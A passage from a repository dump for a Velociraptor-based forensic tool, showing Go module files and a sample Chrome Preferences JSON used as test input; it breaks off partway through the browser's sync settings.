11 | gopkg.in/yaml.v3 v3.0.1
12 | )
13 |
14 | require (
15 | github.com/Velocidex/json v0.0.0-20220224052537-92f3c0326e5a // indirect
16 | github.com/Velocidex/yaml/v2 v2.2.8 // indirect
17 | github.com/alecthomas/colour v0.1.0 // indirect
18 | github.com/alecthomas/repr v0.1.1 // indirect
19 | github.com/davecgh/go-spew v1.1.1 // indirect
20 | github.com/mattn/go-isatty v0.0.14 // indirect
21 | github.com/pmezard/go-difflib v1.0.0 // indirect
22 | github.com/sergi/go-diff v1.2.0 // indirect
23 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c // indirect
24 | )
25 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/Velocidex/json v0.0.0-20220224052537-92f3c0326e5a h1:AeXPUzhU0yhID/v5JJEIkjaE85ASe+Vh4Kuv1RSLL+4=
2 | github.com/Velocidex/json v0.0.0-20220224052537-92f3c0326e5a/go.mod h1:ukJBuruT9b24pdgZwWDvOaCYHeS03B7oQPCUWh25bwM=
3 | github.com/Velocidex/ordereddict v0.0.0-20221110130714-6a7cb85851cd h1:GA/Aogkc2wf0RCvjiSXIILg2WqGoSb5OsozwX3gvZFY=
4 | github.com/Velocidex/ordereddict v0.0.0-20221110130714-6a7cb85851cd/go.mod h1:+MqO5UMBemyFSm+yRXslbpFTwPUDhFHUf7HPV92twg4=
5 | github.com/Velocidex/yaml/v2 v2.2.8 h1:GUrSy4SBJ6RjGt43k6MeBKtw2z/27gh4A3hfFmFY3No=
6 | github.com/Velocidex/yaml/v2 v2.2.8/go.mod h1:PlXIg/Pxmoja48C1vMHo7C5pauAZvLq/UEPOQ3DsjS4=
7 | github.com/alecthomas/assert v1.0.0 h1:3XmGh/PSuLzDbK3W2gUbRXwgW5lqPkuqvRgeQ30FI5o=
8 | github.com/alecthomas/assert v1.0.0/go.mod h1:va/d2JC+M7F6s+80kl/R3G7FUiW6JzUO+hPhLyJ36ZY=
9 | github.com/alecthomas/colour v0.1.0 h1:nOE9rJm6dsZ66RGWYSFrXw461ZIt9A6+nHgL7FRrDUk=
10 | github.com/alecthomas/colour v0.1.0/go.mod h1:QO9JBoKquHd+jz9nshCh40fOfO+JzsoXy8qTHF68zU0=
11 | github.com/alecthomas/repr v0.1.1 h1:87P60cSmareLAxMc4Hro0r2RBY4ROm0dYwkJNpS4pPs=
12 | github.com/alecthomas/repr v0.1.1/go.mod h1:Fr0507jx4eOXV7AlPV6AVZLYrLIuIeSOWtW57eE/O/4=
13 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
14 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
15 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
16 | github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI=
17 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
18 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
19 | github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
20 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
21 | github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
22 | github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
23 | github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
24 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
25 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
26 | github.com/sebdah/goldie/v2 v2.5.3 h1:9ES/mNN+HNUbNWpVAlrzuZ7jE+Nrczbj8uFRjM7624Y=
27 | github.com/sebdah/goldie/v2 v2.5.3/go.mod h1:oZ9fp0+se1eapSRjfYbsV/0Hqhbuu3bJVvKI/NNtssI=
28 | github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
29 | github.com/sergi/go-diff v1.2.0 h1:XU+rvMAioB0UC3q1MFrIQy4Vo5/4VsRDQQXHsEya6xQ=
30 | github.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=
31 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
32 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
33 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
34 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
35 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
36 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
37 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
38 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
39 | github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
40 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
41 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I=
42 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
43 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
44 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo=
45 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
46 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
47 | gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
48 | gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
49 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
50 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
51 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
52 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
53 |
--------------------------------------------------------------------------------
/output/.keep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/attachedbroo/SQLiteHunter/a2bf6ad4d949687cbd5c1050d941b7813a52b699/output/.keep
--------------------------------------------------------------------------------
/test_files/Chrome/Preferences:
--------------------------------------------------------------------------------
1 | {
2 | "NewTabPage": {
3 | "PrevNavigationTime": "13350465698840145"
4 | },
5 | "account_tracker_service_last_update": "13350442718383477",
6 | "alternate_error_pages": {
7 | "backup": true
8 | },
9 | "announcement_notification_service_first_run_time": "13349490479550826",
10 | "apps": {
11 | "shortcuts_arch": "",
12 | "shortcuts_version": 0
13 | },
14 | "autocomplete": {
15 | "retention_policy_last_version": 120
16 | },
17 | "autofill": {
18 | "last_version_deduped": 120
19 | },
20 | "bookmarks": {
21 | "added_since_power_bookmarks_launch": true
22 | },
23 | "browser": {
24 | "has_seen_welcome_page": false,
25 | "should_reset_check_default_browser": false,
26 | "window_placement": {
27 | "bottom": 511,
28 | "left": 384,
29 | "maximized": true,
30 | "right": 1037,
31 | "top": 18,
32 | "work_area_bottom": 932,
33 | "work_area_left": 0,
34 | "work_area_right": 1706,
35 | "work_area_top": 0
36 | }
37 | },
38 | "cached_fonts": {
39 | "search_results_page": {
40 | "fallback": [],
41 | "primary": [
42 | "Arial"
43 | ]
44 | }
45 | },
46 | "commerce_daily_metrics_last_update_time": "13350442718227080",
47 | "countryid_at_install": 21843,
48 | "default_apps_install_state": 3,
49 | "devtools": {
50 | "adb_key": "",
51 | "preferences": {
52 | "Inspector.drawerSplitViewState": "{\"horizontal\":{\"size\":0,\"showMode\":\"OnlyMain\"}}",
53 | "InspectorView.splitViewState": "{\"vertical\":{\"size\":1100}}",
54 | "Styles-pane-sidebar-tabOrder": "{\"Styles\":10,\"Computed\":20}",
55 | "closeableTabs": "{\"security\":true,\"chrome_recorder\":true,\"performance_insights\":true}",
56 | "currentDockState": "\"right\"",
57 | "elements.styles.sidebar.width": "{\"vertical\":{\"size\":0,\"showMode\":\"OnlyMain\"}}",
58 | "inspectorVersion": "36",
59 | "networkPanelSidebarState": "{\"vertical\":{\"size\":0,\"showMode\":\"OnlyMain\"}}",
60 | "networkPanelSplitViewState": "{\"vertical\":{\"size\":295}}",
61 | "networkPanelSplitViewWaterfall": "{\"vertical\":{\"size\":0}}",
62 | "panel-selectedTab": "\"network\"",
63 | "releaseNoteVersionSeen": "61",
64 | "request-info-formData-category-expanded": "true",
65 | "request-info-general-category-expanded": "true",
66 | "request-info-queryString-category-expanded": "true",
67 | "request-info-requestHeaders-category-expanded": "true",
68 | "request-info-requestPayload-category-expanded": "true",
69 | "request-info-responseHeaders-category-expanded": "true",
70 | "resourceViewTab": "\"timing\""
71 | },
72 | "synced_preferences_sync_disabled": {
73 | "adornerSettings": "[{\"adorner\":\"grid\",\"isEnabled\":true},{\"adorner\":\"subgrid\",\"isEnabled\":true},{\"adorner\":\"flex\",\"isEnabled\":true},{\"adorner\":\"ad\",\"isEnabled\":true},{\"adorner\":\"scroll-snap\",\"isEnabled\":true},{\"adorner\":\"container\",\"isEnabled\":true},{\"adorner\":\"slot\",\"isEnabled\":true},{\"adorner\":\"top-layer\",\"isEnabled\":true},{\"adorner\":\"reveal\",\"isEnabled\":true},{\"adorner\":\"media\",\"isEnabled\":false}]",
74 | "syncedInspectorVersion": "36"
75 | }
76 | },
77 | "dips_timer_last_update": "13350461538868689",
78 | "domain_diversity": {
79 | "last_reporting_timestamp": "13350442718383764"
80 | },
81 | "download_bubble": {
82 | "partial_view_impressions": 6
83 | },
84 | "extensions": {
85 | "alerts": {
86 | "initialized": true
87 | },
88 | "chrome_url_overrides": {},
89 | "cws_info_timestamp": "13350447704803831",
90 | "install_signature": {
91 | "expire_date": "2024-04-04",
92 | "ids": [
93 | "ghbmnnjooekpmoecnnnilnnbdlolhkhi"
94 | ],
95 | "invalid_ids": [],
96 | "salt": "9Iq+FwTyum1feprK5iqH9WJJmohXYYZKCn6CBVNnmt0=",
97 | "signature": "RddnHhdQEgwB9ZeUkrqYH5yiQJppabRTjBnjGLqx+P1qUCBf6R2T1uo7rxX/zPHPzbw+fyRAb9qow/DFEoxfWaK1dwsgflVmhsdkshY11aefc6zxKGKQZ9iYLApwey+fCIzVKqd8qCeumgXYRPdsLeKFM5y5297XwqSaoyehisowN+6/a90LGQOo2SfM2xGwd9RaUu/mWxvqYo5KxDGuPytz93rFYzISy2bliow8uryiESoK/TeDrp1pVF2OjWGe6l8BLZAxWU73SglhoQzCrwANmHR5VTE+qOy2TzJ/ax1CeAew+SqZaXxHNSRlG61UAJcghYEZgayCfWamX1qPvg==",
98 | "signature_format_version": 2,
99 | "timestamp": "13349490483609689"
100 | },
101 | "last_chrome_version": "120.0.6099.225"
102 | },
103 | "gaia_cookie": {
104 | "changed_time": 1705016880.362132,
105 | "hash": "2jmj7l5rSw0yVb/vlWAYkK/YBwk=",
106 | "last_list_accounts_data": "[\"gaia.l.a.r\",[]]",
107 | "periodic_report_time": 1705969117.945622
108 | },
109 | "gcm": {
110 | "product_category_for_subtypes": "com.chrome.windows"
111 | },
112 | "google": {
113 | "services": {
114 | "consented_to_sync": false,
115 | "signin_scoped_device_id": "c9aea5d3-700e-4c03-aba7-dc594fc4f028"
116 | }
117 | },
118 | "history_clusters": {
119 | "all_cache": {
120 | "all_keywords": {
121 | "chrome long stalled time": {
122 | "entity_collections": [],
123 | "score": 100,
124 | "type": 4
125 | },
126 | "chromium": {
127 | "entity_collections": [
128 | "/collection/software"
129 | ],
130 | "score": 12.943449020385742,
131 | "type": 3
132 | },
133 | "computer network": {
134 | "entity_collections": [
135 | "/collection/it_glossary"
136 | ],
137 | "score": 21.07672119140625,
138 | "type": 3
139 | },
140 | "debugging": {
141 | "entity_collections": [
142 | "/collection/it_glossary"
143 | ],
144 | "score": 13.737242698669434,
145 | "type": 3
146 | },
147 | "download": {
148 | "entity_collections": [
149 | "/collection/software"
150 | ],
151 | "score": 71.26252746582031,
152 | "type": 3
153 | },
154 | "google chrome": {
155 | "entity_collections": [
156 | "/collection/software"
157 | ],
158 | "score": 117.9437255859375,
159 | "type": 3
160 | },
161 | "google search": {
162 | "entity_collections": [
163 | "/collection/websites"
164 | ],
165 | "score": 84,
166 | "type": 3
167 | },
168 | "http": {
169 | "entity_collections": [
170 | "/collection/it_glossary"
171 | ],
172 | "score": 74,
173 | "type": 3
174 | },
175 | "linux": {
176 | "entity_collections": [
177 | "/collection/software"
178 | ],
179 | "score": 72.8287353515625,
180 | "type": 3
181 | },
182 | "macos": {
183 | "entity_collections": [
184 | "/collection/software"
185 | ],
186 | "score": 47.76938247680664,
187 | "type": 3
188 | },
189 | "microsoft windows": {
190 | "entity_collections": [
191 | "/collection/software"
192 | ],
193 | "score": 57.949745178222656,
194 | "type": 3
195 | },
196 | "monorail": {
197 | "entity_collections": [],
198 | "score": 17.257932662963867,
199 | "type": 3
200 | },
201 | "project": {
202 | "entity_collections": [],
203 | "score": 12.943449020385742,
204 | "type": 3
205 | },
206 | "stack overflow": {
207 | "entity_collections": [
208 | "/collection/websites"
209 | ],
210 | "score": 30.588254928588867,
211 | "type": 3
212 | },
213 | "velociraptor": {
214 | "entity_collections": [
215 | "/collection/organism_classifications"
216 | ],
217 | "score": 138.2125244140625,
218 | "type": 3
219 | },
220 | "visual studio": {
221 | "entity_collections": [
222 | "/collection/software"
223 | ],
224 | "score": 171.96115112304688,
225 | "type": 3
226 | }
227 | },
228 | "all_timestamp": "13350465699787481"
229 | },
230 | "short_cache": {
231 | "short_keywords": {},
232 | "short_timestamp": "13350193937586203"
233 | }
234 | },
235 | "in_product_help": {
236 | "snoozed_feature": {
237 | "IPH_DesktopCustomizeChromeRefresh": {
238 | "is_dismissed": true,
239 | "last_dismissed_by": 0,
240 | "last_show_time": "13349985271645351",
241 | "last_snooze_duration": "0",
242 | "last_snooze_time": "0",
243 | "show_count": 1,
244 | "shown_for_apps": [],
245 | "snooze_count": 0
246 | },
247 | "IPH_DownloadToolbarButton": {
248 | "is_dismissed": true,
249 | "last_dismissed_by": 4,
250 | "last_show_time": "13349772925085404",
251 | "last_snooze_duration": "0",
252 | "last_snooze_time": "0",
253 | "show_count": 1,
254 | "shown_for_apps": [],
255 | "snooze_count": 0
256 | },
257 | "IPH_HighEfficiencyMode": {
258 | "is_dismissed": true,
259 | "last_dismissed_by": 2,
260 | "last_show_time": "13350321412217814",
261 | "last_snooze_duration": "0",
262 | "last_snooze_time": "0",
263 | "show_count": 1,
264 | "shown_for_apps": [],
265 | "snooze_count": 0
266 | }
267 | }
268 | },
269 | "intl": {
270 | "selected_languages": "en-US,en"
271 | },
272 | "invalidation": {
273 | "per_sender_topics_to_handler": {
274 | "1013309121859": {}
275 | }
276 | },
277 | "language_model_counters": {
278 | "en": 66
279 | },
280 | "media": {
281 | "engagement": {
282 | "schema_version": 5
283 | }
284 | },
285 | "media_router": {
286 | "receiver_id_hash_token": "vAsJmDCJi5vTR4nEfL4Wfr60dvoDOEW+rzR+iwaC3EcArchJ+F5EbvRAGMPxMgqDL2OH0zlUgEGJoEQcDUtMKg=="
287 | },
288 | "ntp": {
289 | "num_personal_suggestions": 6
290 | },
291 | "optimization_guide": {
292 | "hintsfetcher": {
293 | "hosts_successfully_fetched": {}
294 | },
295 | "predictionmodelfetcher": {
296 | "last_fetch_attempt": "13350459926599288",
297 | "last_fetch_success": "13350459926978969"
298 | },
299 | "previously_registered_optimization_types": {
300 | "ABOUT_THIS_SITE": true,
301 | "HISTORY_CLUSTERS": true,
302 | "PRICE_TRACKING": true,
303 | "SHOPPING_PAGE_PREDICTOR": true,
304 | "SHOPPING_PAGE_TYPES": true,
305 | "V8_COMPILE_HINTS": true
306 | },
307 | "store_file_paths_to_delete": {}
308 | },
309 | "partition": {
310 | "per_host_zoom_levels": {
311 | "x": {
312 | "learn.microsoft.com": {
313 | "last_modified": "13350447263326945",
314 | "zoom_level": 3.069389038663465
315 | }
316 | }
317 | }
318 | },
319 | "privacy_sandbox": {
320 | "anti_abuse_initialized": true,
321 | "first_party_sets_data_access_allowed_initialized": true,
322 | "m1": {
323 | "ad_measurement_enabled": true,
324 | "fledge_enabled": true,
325 | "row_notice_acknowledged": true,
326 | "topics_enabled": true
327 | }
328 | },
329 | "profile": {
330 | "avatar_index": 26,
331 | "content_settings": {
332 | "enable_quiet_permission_ui_enabling_method": {
333 | "notifications": 1
334 | },
335 | "exceptions": {
336 | "3pcd_heuristics_grants": {},
337 | "3pcd_support": {},
338 | "access_to_get_all_screens_media_in_session": {},
339 | "accessibility_events": {},
340 | "anti_abuse": {},
341 | "app_banner": {
342 | "https://developer.chrome.com:443,*": {
343 | "last_modified": "13350321190409161",
344 | "setting": {
345 | "https://developer.chrome.com/": {
346 | "couldShowBannerEvents": 13350321190409140,
347 | "next_install_text_animation": {
348 | "delay": "86400000000",
349 | "last_shown": "13350321156399866"
350 | }
351 | }
352 | }
353 | },
354 | "https://developercommunity.visualstudio.com:443,*": {
355 | "last_modified": "13350447362742557",
356 | "setting": {
357 | "https://developercommunity.visualstudio.com/": {
358 | "couldShowBannerEvents": 13350447362742528,
359 | "next_install_text_animation": {
360 | "delay": "86400000000",
361 | "last_shown": "13350447354328604"
362 | }
363 | }
364 | }
365 | },
366 | "https://github.com:443,*": {
367 | "last_modified": "13350322137249940",
368 | "setting": {
369 | "https://github.com/": {
370 | "couldShowBannerEvents": 13350322137249908,
371 | "next_install_text_animation": {
372 | "delay": "86400000000",
373 | "last_shown": "13350322103427058"
374 | }
375 | }
376 | }
377 | },
378 | "https://web.dev:443,*": {
379 | "last_modified": "13350321423831929",
380 | "setting": {
381 | "https://web.dev/": {
382 | "couldShowBannerEvents": 13350321423831900,
383 | "next_install_text_animation": {
384 | "delay": "86400000000",
385 | "last_shown": "13350321416059870"
386 | }
387 | }
388 | }
389 | }
390 | },
391 | "ar": {},
392 | "auto_picture_in_picture": {},
393 | "auto_select_certificate": {},
394 | "automatic_downloads": {},
395 | "autoplay": {},
396 | "background_sync": {},
397 | "bluetooth_chooser_data": {},
398 | "bluetooth_guard": {},
399 | "bluetooth_scanning": {},
400 | "camera_pan_tilt_zoom": {},
401 | "client_hints": {
402 | "https://groups.google.com:443,*": {
403 | "last_modified": "13350321932728171",
404 | "setting": {
405 | "client_hints": [
406 | 9,
407 | 10,
408 | 11,
409 | 13,
410 | 14,
411 | 16,
412 | 23,
413 | 25
414 | ]
415 | }
416 | },
417 | "https://www.google.com:443,*": {
418 | "last_modified": "13350465935158573",
419 | "setting": {
420 | "client_hints": [
421 | 9,
422 | 10,
423 | 11,
424 | 13,
425 | 14,
426 | 16,
427 | 23,
428 | 25
429 | ]
430 | }
431 | },
432 | "https://www.msn.com:443,*": {
433 | "last_modified": "13350193502130605",
434 | "setting": {
435 | "client_hints": [
436 | 8,
437 | 9,
438 | 10,
439 | 11,
440 | 12,
441 | 13,
442 | 14,
443 | 16,
444 | 23
445 | ]
446 | }
447 | }
448 | },
449 | "clipboard": {},
450 | "cookie_controls_metadata": {
451 | "file:///*,*": {
452 | "last_modified": "13350465745994044",
453 | "setting": {}
454 | },
455 | "http://localhost,*": {
456 | "last_modified": "13350459921921875",
457 | "setting": {}
458 | },
459 | "https://[*.]chrome.com,*": {
460 | "last_modified": "13350321180136619",
461 | "setting": {}
462 | },
463 | "https://[*.]chromium.org,*": {
464 | "last_modified": "13350321991087568",
465 | "setting": {}
466 | },
467 | "https://localhost,*": {
468 | "last_modified": "13350459931116107",
469 | "setting": {}
470 | }
471 | },
472 | "cookies": {},
473 | "durable_storage": {},
474 | "fedcm_active_session": {},
475 | "fedcm_idp_registration": {},
476 | "fedcm_idp_signin": {
477 | "https://accounts.google.com:443,*": {
478 | "last_modified": "13349490480362620",
479 | "setting": {
480 | "chosen-objects": [
481 | {
482 | "idp-origin": "https://accounts.google.com",
483 | "idp-signin-status": false
484 | }
485 | ]
486 | }
487 | }
488 | },
489 | "fedcm_share": {},
490 | "file_system_access_chooser_data": {},
491 | "file_system_access_extended_permission": {},
492 | "file_system_last_picked_directory": {},
493 | "file_system_read_guard": {},
494 | "file_system_write_guard": {},
495 | "formfill_metadata": {},
496 | "geolocation": {},
497 | "hid_chooser_data": {},
498 | "hid_guard": {},
499 | "http_allowed": {
500 | "https://go.microsoft.com:443,*": {
501 | "last_modified": "13350193501467590",
502 | "setting": {
503 | "decision_expiration_time": "13350798301467576"
504 | }
505 | }
506 | },
507 | "https_enforced": {
508 | "https://localhost:443,*": {
509 | "last_modified": "13350459926838064",
510 | "setting": {
511 | "added_time": "13350459926838051",
512 | "enabled": true
513 | }
514 | }
515 | },
516 | "idle_detection": {},
517 | "images": {},
518 | "important_site_info": {},
519 | "insecure_private_network": {},
520 | "intent_picker_auto_display": {},
521 | "javascript": {},
522 | "javascript_jit": {},
523 | "legacy_cookie_access": {},
524 | "local_fonts": {},
525 | "media_engagement": {
526 | "http://localhost:6060,*": {
527 | "expiration": "13358235931116816",
528 | "last_modified": "13350459931116823",
529 | "lifetime": "7776000000000",
530 | "setting": {
531 | "hasHighScore": false,
532 | "lastMediaPlaybackTime": 0,
533 | "mediaPlaybacks": 0,
534 | "visits": 3
535 | }
536 | },
537 | "http://localhost:6061,*": {
538 | "expiration": "13357966765497472",
539 | "last_modified": "13350190765497480",
540 | "lifetime": "7776000000000",
541 | "setting": {
542 | "hasHighScore": false,
543 | "lastMediaPlaybackTime": 0,
544 | "mediaPlaybacks": 0,
545 | "visits": 1
546 | }
547 | },
548 | "https://docs.velociraptor.app:443,*": {
549 | "expiration": "13358147302956221",
550 | "last_modified": "13350371302956233",
551 | "lifetime": "7776000000000",
552 | "setting": {
553 | "hasHighScore": false,
554 | "lastMediaPlaybackTime": 0,
555 | "mediaPlaybacks": 0,
556 | "visits": 1
557 | }
558 | },
559 | "https://dotnet.microsoft.com:443,*": {
560 | "expiration": "13357969950652535",
561 | "last_modified": "13350193950652586",
562 | "lifetime": "7776000000000",
563 | "setting": {
564 | "hasHighScore": false,
565 | "lastMediaPlaybackTime": 0,
566 | "mediaPlaybacks": 0,
567 | "visits": 1
568 | }
569 | }
570 | },
571 | "media_stream_camera": {},
572 | "media_stream_mic": {},
573 | "midi": {},
574 | "midi_sysex": {},
575 | "mixed_script": {},
576 | "nfc_devices": {},
577 | "notification_interactions": {},
578 | "notification_permission_review": {},
579 | "notifications": {
580 | "https://appuals.com:443,*": {
581 | "last_modified": "13215508770491848",
582 | "setting": 2
583 | }
584 | },
585 | "password_protection": {},
586 | "payment_handler": {},
587 | "permission_autoblocking_data": {},
588 | "permission_autorevocation_data": {},
589 | "popups": {},
590 | "private_network_chooser_data": {},
591 | "private_network_guard": {},
592 | "protected_media_identifier": {},
593 | "protocol_handler": {},
594 | "reduced_accept_language": {},
595 | "safe_browsing_url_check_data": {},
596 | "sensors": {},
597 | "serial_chooser_data": {},
598 | "serial_guard": {},
599 | "site_engagement": {
600 | "https://docs.velociraptor.app:443,*": {
601 | "last_modified": "13350370759256472",
602 | "setting": {
603 | "lastEngagementTime": 13350341429001178,
604 | "lastShortcutLaunchTime": 0,
605 | "pointsAddedToday": 2.1,
606 | "rawScore": 4.397813350887118
607 | }
608 | },
609 | "https://github.com:443,*": {
610 | "last_modified": "13350370759257710",
611 | "setting": {
612 | "lastEngagementTime": 13350341871092758,
613 | "lastShortcutLaunchTime": 0,
614 | "pointsAddedToday": 6.899999999999999,
615 | "rawScore": 6.899999999999999
616 | }
617 | }
618 | },
619 | "sound": {},
620 | "ssl_cert_decisions": {
621 | "https://localhost:443,*": {
622 | "last_modified": "13350151711580793",
623 | "setting": {
624 | "cert_exceptions_map": {
625 | "-202bE5smT9hD7QgW+mzllYblX4tAf9tWAWMsWcvekepedo=": 1
626 | },
627 | "decision_expiration_time": "13350756511580731",
628 | "version": 1
629 | }
630 | }
631 | },
632 | "storage_access": {},
633 | "subresource_filter": {},
634 | "subresource_filter_data": {},
635 | "third_party_storage_partitioning": {},
636 | "top_level_storage_access": {},
637 | "unused_site_permissions": {},
638 | "usb_chooser_data": {},
639 | "usb_guard": {},
640 | "vr": {},
641 | "webid_api": {},
642 | "webid_auto_reauthn": {},
643 | "window_placement": {}
644 | },
645 | "pref_version": 1
646 | },
647 | "created_by_version": "120.0.6099.217",
648 | "creation_time": "13349490479398890",
649 | "exit_type": "Crashed",
650 | "icon_version": 10,
651 | "last_engagement_time": "13350465904469029",
652 | "last_time_obsolete_http_credentials_removed": 1705016939.533207,
653 | "last_time_password_store_metrics_reported": 1705973568.358144,
654 | "managed": {
655 | "banner_state": 1
656 | },
657 | "managed_user_id": "",
658 | "name": "Person 1",
659 | "password_account_storage_settings": {},
660 | "were_old_google_logins_removed": true
661 | },
662 | "protection": {
663 | "macs": {}
664 | },
665 | "safebrowsing": {
666 | "event_timestamps": {
667 | "0": {
668 | "10": [
669 | "13349490520",
670 | "13350151709"
671 | ],
672 | "12": [
673 | "13349772921",
674 | "13349773085",
675 | "13350195009",
676 | "13350211852",
677 | "13350211932",
678 | "13350211934",
679 | "13350465744"
680 | ]
681 | }
682 | },
683 | "metrics_last_log_time": "13350442717",
684 | "saw_interstitial_sber2": true
685 | },
686 | "segmentation_platform": {
687 | "client_result_prefs": "",
688 | "device_switcher_util": {
689 | "result": {
690 | "labels": [
691 | "NotSynced"
692 | ]
693 | }
694 | },
695 | "last_db_compaction_time": "13350355199000000"
696 | },
697 | "sessions": {
698 | "event_log": [
699 | {
700 | "crashed": false,
701 | "time": "13349490479537912",
702 | "type": 0
703 | },
704 | {
705 | "did_schedule_command": true,
706 | "first_session_service": true,
707 | "tab_count": 14,
708 | "time": "13350444363763843",
709 | "type": 2,
710 | "window_count": 1
711 | },
712 | {
713 | "crashed": false,
714 | "time": "13350447138373152",
715 | "type": 0
716 | },
717 | {
718 | "did_schedule_command": true,
719 | "first_session_service": true,
720 | "tab_count": 1,
721 | "time": "13350459903286716",
722 | "type": 2,
723 | "window_count": 1
724 | },
725 | {
726 | "crashed": false,
727 | "time": "13350459916618958",
728 | "type": 0
729 | }
730 | ],
731 | "session_data_status": 1
732 | },
733 | "settings": {
734 | "a11y": {
735 | "apply_page_colors_only_on_increased_contrast": true
736 | }
737 | },
738 | "signin": {
739 | "allowed": true
740 | },
741 | "spellcheck": {
742 | "dictionaries": [
743 | "en-US"
744 | ],
745 | "dictionary": ""
746 | },
747 | "supervised_user": {
748 | "metrics": {
749 | "day_id": 154518
750 | }
751 | },
752 | "sync": {
753 | "autofill_wallet_import_enabled_migrated": true,
754 | "data_type_status_for_sync_to_signin": {
755 | "app_list": false,
756 | "app_settings": false,
757 | "apps": false,
758 | "arc_package": false,
759 | "autofill": false,
760 | "autofill_profiles": false,
761 | "autofill_wallet": false,
762 | "autofill_wallet_credential": false,
763 | "autofill_wallet_metadata": false,
764 | "autofill_wallet_offer": false,
765 | "autofill_wallet_usage": false,
766 | "bookmarks": false,
767 | "contact_info": false,
768 | "device_info": false,
769 | "dictionary": false,
770 | "extension_settings": false,
771 | "extensions": false,
772 | "history": false,
773 | "history_delete_directives": false,
774 | "incoming_password_sharing_invitation": false,
775 | "managed_user_settings": false,
776 | "nigori": false,
777 | "os_preferences": false,
778 | "os_priority_preferences": false,
779 | "outgoing_password_sharing_invitation": false,
780 | "passwords": false,
781 | "power_bookmark": false,
782 | "preferences": false,
783 | "printers": false,
784 | "printers_authorization_servers": false,
